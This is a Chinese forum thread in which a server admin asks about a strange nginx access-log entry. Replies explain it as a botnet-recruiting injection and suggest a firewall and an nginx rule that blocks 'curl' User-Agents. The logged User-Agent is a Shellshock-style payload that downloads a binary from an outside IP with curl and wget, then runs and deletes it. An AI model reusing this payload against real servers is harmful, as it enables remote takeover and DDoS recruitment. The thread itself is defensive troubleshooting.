今天無意中發現公司伺服器的nginx的access.log中有一條日誌很奇特:
61.136.82.154 - - [07/Jan/2017:02:27:26 +0000] "GET / HTTP/1.0" 200 3770 "-" "() { :;}; /bin/bash -c \x22curl -o /tmp/mig http://37.1.202.6/mig;/usr/bin/wget http://37.1.202.6/mig -O /tmp/mig;chmod +x /tmp/mig;/tmp/mig;rm -rf /tmp/mig*\x22" "-"
比較奇怪的地方時:
使用的是http1.0
user-agent是一段腳本
網路上搜了一圈,並沒有找到關於使用user-agent進行攻擊的資料,我雖然能順著日誌中的位址拿到腳本程式碼,但自己能力有限,無法分析出它的攻擊目標是什麼。
請問各位大牛,有相關的資料和經驗麼?不妨和我分享一下,感激不盡! !
補充:
在nginx的什麼設定情況下,會去解析user-agent裡的內容呢?
這個應該是
http1.0
的user-agent
漏洞,你的服务器可能被对方注入脚本,他在你上面伪装了一个apache
的服务,把你的服务器搞成了肉鸡,并操纵他进行DDOS
攻击,但是我不知道nginx
會不會執行它這個腳本你可以看看你
access.log
中http://37.1.202.6/mig
这个地址。可以看到有个a文件http://37.1.202.6/a
你可以看看這個程式碼。掃描器注入的。 。 。都會解析User-Agent的。
1、裝應用防火牆
2、設定Nginx
`
if ($http_user_agent ~* 'curl') #配置被拒絕的 user_agent。
{
return 403;
}
`
一段
perl
脚本,作用就是 伪装成Apache
然後接受指令做一些事情。 。 。沒錯,就是抓肉雞。